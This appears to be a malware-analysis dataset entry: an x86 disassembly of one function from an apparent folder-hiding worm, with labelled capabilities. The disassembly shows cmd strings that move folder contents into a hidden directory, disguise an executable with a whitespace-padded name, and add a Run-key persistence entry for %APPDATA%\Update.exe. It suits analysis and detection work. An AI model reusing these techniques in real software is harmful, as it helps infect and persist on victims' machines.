Function at 0x401240
Capabilities:
Create directory
Create process on windows
Enumerate files on windows
Persist via run registry key
Set file attributes
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x256c
call fcn.004139a0
mov eax, dword [0x41d004]
xor eax, esp
mov dword [esp + 0x2568], eax
push ebx
mov ebx, dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [esp + 0x258]
push esi
push edi
push 0x41b0c4
mov esi, ecx
push esi
push str._s_s
push eax
call ebx
add esp, 0x10
lea eax, [esp + 0x260]
push 0
push eax
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryW]
push 2
lea eax, [esp + 0x264]
push eax
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
push esi
lea eax, [esp + 0x264]
push 0x41b110
push eax
call ebx
add esp, 0xc
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x264]
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x4012d4
push eax
jmp 0x40145b
mov ebx, dword [sym.imp.KERNEL32.DLL_FindNextFileW]
nop word [eax + eax]
mov ecx, 0x41b11c
lea eax, [esp + 0x3c]
nop dword [eax]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x401316
test dx, dx
je 0x401312
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x401316
add eax, 4
add ecx, 4
test dx, dx
jne 0x4012f0
xor eax, eax
jmp 0x40131b
sbb eax, eax
or eax, 1
test eax, eax
je 0x40144a
mov ecx, 0x41b120
lea eax, [esp + 0x3c]
nop dword [eax]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x401356
test dx, dx
je 0x401352
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x401356
add eax, 4
add ecx, 4
test dx, dx
jne 0x401330
xor eax, eax
jmp 0x40135b
sbb eax, eax
or eax, 1
test eax, eax
je 0x40144a
mov eax, 0x41b0c4
lea ecx, [esp + 0x3c]
nop dword [eax]
mov dx, word [ecx]
cmp dx, word [eax]
jne 0x401396
test dx, dx
je 0x401392
mov dx, word [ecx + 2]
cmp dx, word [eax + 2]
jne 0x401396
add ecx, 4
add eax, 4
test dx, dx
jne 0x401370
xor eax, eax
jmp 0x40139b
sbb eax, eax
or eax, 1
test eax, eax
je 0x40144a
test byte [esp + 0x10], 0x10
je 0x40144a
lea eax, [esp + 0x3c]
push eax
push esi
push eax
push 0x41b0c4
push esi
push eax
push esi
lea eax, [esp + 0x58c]
push str.cmd__c_echo_dxcopy__e__y__s__h___S_S____S_S_S__nul__rd__s__q___S_S_
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x24
lea eax, [esp + 0x570]
push 0
push eax
call dword [sym.imp.KERNEL32.DLL_WinExec]
lea eax, [esp + 0x3c]
push eax
push esi
lea eax, [esp + 0x268]
push str._s_s_________________________________________________________________________________________.exe
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [esp + 0x468]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea eax, [esp + 0x260]
push eax
lea eax, [esp + 0x46c]
push eax
lea eax, [esp + 0x1578]
push str.cmd__c_echo_fxcopy__y___s____S___nul__reg_add_HKCUSOFTWAREMicrosoftWindowsCurrentVersionRun__v_Run__d____APPDATA__Update.exe___t_REG_SZ__f
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [esp + 0x1570]
push 0
push eax
call dword [sym.imp.KERNEL32.DLL_WinExec]
lea eax, [esp + 0x10]
push eax
push edi
call ebx
test eax, eax
jne 0x4012e0
push edi
call dword [sym.imp.KERNEL32.DLL_FindClose]
mov ecx, dword [esp + 0x2574]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.004016a2
mov esp, ebp
pop ebp
ret